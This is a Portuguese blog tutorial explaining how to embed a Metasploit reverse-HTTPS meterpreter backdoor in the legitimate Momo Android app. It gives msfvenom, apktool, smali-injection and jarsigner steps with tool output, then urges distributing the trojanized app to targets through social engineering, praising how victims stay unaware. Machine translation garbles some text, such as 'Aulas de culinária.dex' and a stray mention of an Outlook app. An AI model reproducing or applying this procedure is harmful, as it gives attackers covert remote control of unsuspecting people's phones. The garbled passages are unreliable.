᥀🔥CRIANDO/INFECTANDO UM APK COM BACKDOOR USANDO O METASPLOIT᥀🔥

Neste artigo, falaremos sobre a criação de um APK malicioso a partir de um legítimo para obter acesso ao dispositivo Android no qual está instalado. Em primeiro lugar, é necessário definir a aplicação com a qual se deseja trabalhar e baixá-la, para fins práticos, neste artigo tomaremos como exemplo o app Momo (immomo.com/download/momo.apk) que é utilizado por milhões de pessoas no mundo, especialmente nos países asiáticos. Posteriormente, o aplicativo malicioso pode ser criado usando os recursos disponíveis no Framework Metasploit.Graças ao utilitário “msfvenom”, uma carga útil pode ser gerada especificamente focada em aplicativos Android. O objetivo é obviamente injetar a carga gerada pelo msfvenom no aplicativo legítimo, de maneira semelhante ao que fazemos com executáveis ​​PE ou ELF para sistemas Windows e GNU / Linux ao aplicar a técnica de “code caving”. Usando uma ferramenta como o "apktool", você pode descompilar e descompilar o APK legítimo e o APK gerado pelo metasploit e, com ambos os exemplos, um novo APK é construído a partir do aplicativo legítimo, mas injetando a carga útil do Metasploit de forma que o aplicativo original continua a funcionar normalmente.


O que foi explicado acima pode ser colocado em prática seguindo o seguinte procedimento.


1. Primeiro, o APK malicioso deve ser gerado com o Metasploit Framework.

> msfvenom -p android / meterpreter / reverse_https LHOST = xxxx LPORT = 4444 -o /home/adastra/meterpreter.apk


I- Nenhuma plataforma foi selecionada, escolhendo Msf :: Módulo :: Plataforma :: Android na carga útil

I-Nenhum arco selecionado, selecionando Arch: dalvik da carga útil

I-Nenhum codificador ou badchars especificados, gerando carga útil bruta

I-Tamanho da carga útil: 9295 bytes

I-Salvo como: /home/adastra/meterpreter.apk


2. Em seguida, procedemos ao download do aplicativo que, como dito antes, neste caso será Momo (immomo.com/download/momo.apk) e procedemos à descompactação e descompilação de tudo com Apktool https: // ibotpeaches .github.io / Apktool /


> apktool d -f -o originalDecompiled momo_6.7_0413_c1.apk


I: Usando Apktool 2.1.0-a7535f-SNAPSHOT em momo_6.7_0413_c1.apk

I: Carregando tabela de recursos ...

I: Decodificando AndroidManifest.xml com recursos…

I: Carregando a tabela de recursos do arquivo: 

/home/adastra/apktool/framework/1.apk

I: Pacote de manifesto regular ...

I: Decodificando recursos de arquivo ...

I: Decodificando valores * / * XMLs…

I: Aulas de culinária.dex…

I: Baksmaling classes2.dex…

I: Baksmaling classes3.dex…

I: Copiando ativos e libs ...

I: Copiando arquivos desconhecidos ...

I: Copiando arquivos originais ...


E então o APK gerado pelo Metasploit Framework.


> apktool d -f -o meterpreterDecompiled meterpreter.apk


I: Usando Apktool 2.1.0-a7535f-SNAPSHOT no meterpreter.apk

I: Carregando tabela de recursos ...

I: Decodificando AndroidManifest.xml com recursos…

I: Carregando a tabela de recursos do arquivo:

/home/adastra/apktool/framework/1.apk

I: Pacote de manifesto regular ...

I: Decodificando recursos de arquivo ...

I: Decodificando valores * / * XMLs…

I: Aulas de culinária.dex…

I: Copiando ativos e libs ...

I: Copiando arquivos desconhecidos ...

I: Copiando arquivos originais ...


3. Em seguida, os arquivos descompilados correspondentes à carga útil são copiados diretamente para o aplicativo original descompilado. Especificamente, os arquivos localizados em:


<meterpreter_apk> / smali

No livro de endereços:

<momo_apk> / smali


Desta forma, quando o aplicativo APK original for recompilado novamente, ele terá a carga útil correspondente dentro. Porém, até o momento o código dessa carga útil não será executável, pois o fluxo de execução da aplicação original ainda não foi alterado.

4. O gancho Meterpreter foi injetado no aplicativo original (陌 陌), mas para garantir sua execução, é necessário injetar a carga útil no código .smali.

Para fazer isso, você deve primeiro encontrar a "atividade" apropriada, que é declarada no arquivo "AndroidManifest.xml" do aplicativo original. Procure o inicializador de aplicativos:

<action android: name = ”android.intent.action.MAIN” />

<categoria android: name = ”android.intent.category.LAUNCHER” />

O atributo android: name da principal “atividade” do MoMo é: android: name = ”com.immomo.momo.android.activity.WelcomeActivity”

Em seguida, você deve editar o código da “atividade” principal do aplicativo, que como visto é “WelcomeActivity” e está localizado em

<momo_apk> / smali / com / immomo / momo / android / activity / WelcomeActivity


5. Uma vez aberto o código correspondente à atividade principal da aplicação, procede-se à procura da função "principal" da classe, que deve atender ao seguinte padrão:

; -> onCreate (Landroid / os / Bundle;) V

Na linha imediatamente seguinte, a chamada para a carga útil do Metasploit Framework deve ser incluída, que conterá o seguinte:

invoke-static {p0}, Lcom / metasploit / stage / Payload; -> start (Landroid / content / Context;) V

A aparência que essas instruções finalmente terão na atividade “WelcomeActivity” pode ser vista na imagem a seguir



6. Antes de recompilar o aplicativo original com a carga injetada, é necessário definir as permissões apropriadas para que a carga possa ser executada corretamente. Essas permissões devem ser as seguintes:






7. Com as alterações anteriores, procedemos à recompilação do aplicativo original usando APKTool


> apktool b original / originalDecompiled /


I: Usando Apktool 2.1.0-a7535f-SNAPSHOT

I: Verificar se as fontes mudaram ...

I: Smaling pasta smali em classes.dex ...

I: Verificar se as fontes mudaram ...

I: Smaling pasta smali_classes3 em classes3.dex…

I: Verificar se as fontes mudaram ...

I: Smaling pasta smali_classes2 em classes2.dex…

I: Verificando se os recursos mudaram ...

I: Construindo recursos ...

I: Copiando bibliotecas… (/ lib)

I: Construindo o arquivo apk…

I: Copiando arquivos / dir desconhecidos…



O comando acima resultará na geração de um APK com todas as alterações feitas anteriormente no diretório <momo_apk> / original / dist


8. Por fim, o APK gerado na etapa anterior deve ser assinado com uma ferramenta como o JarSigner, importante para que o APK possa ser instalado no dispositivo.


> jarsigner -verbose -keystore ~ ​​/ .android / debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA original / originalDecompiled / dist / momo_6.7_0413_c1.apk androiddebugkey


Nesse caso, o armazenamento de chaves padrão do Android Studio localizado em <HOME> /.android é usado.


9. Está tudo pronto, agora o APK deve ser distribuído para aqueles usuários que são o alvo da campanha, obviamente as técnicas adequadas devem ser aplicadas para que os usuários “mordam” e instalem o aplicativo em seu dispositivo. Antes de fazer isso, uma vez que o Framework Metasploit é usado com uma carga útil do tipo “meterpreter reverso”, é necessário iniciar o manipulador apropriado no IP / domínio especificado na propriedade LHOST que foi indicada ao gerar a carga útil.

Como pode ser visto na imagem anterior, quando o usuário instala o aplicativo em seu dispositivo, a carga injetada é executada logo após a invocação da atividade principal e o invasor obtém uma sessão de Meterpreter, mas o mais importante é : O aplicativo malicioso preserva o funcionamento do aplicativo legítimo, sem qualquer tipo de interferência ou comportamento anômalo que faça a vítima suspeitar, esta é sem dúvida a parte mais importante, já que o usuário não terá conhecimento do que está acontecendo e de Seu aplicativo Outlook funciona corretamente em seu dispositivo.

Foram apenas 9 etapas que nos permitiram compor um interessante vetor de ataque focado em aplicativos desenvolvidos para dispositivos Android e embora este procedimento se aplique a qualquer APK, é importante ter em mente que cada aplicativo pode ter características muito específicas que devem ser controladas. Por exemplo, no caso de o código ser ofuscado ou de serem usados ​​frameworks devido ao seu próprio funcionamento, é necessário adotar uma abordagem diferente daquela explicada neste artigo, no entanto, o procedimento ainda é perfeitamente válido e aplicável a qualquer APK.

Postar um comentário

Post a Comment (0)

Postagem Anterior Próxima Postagem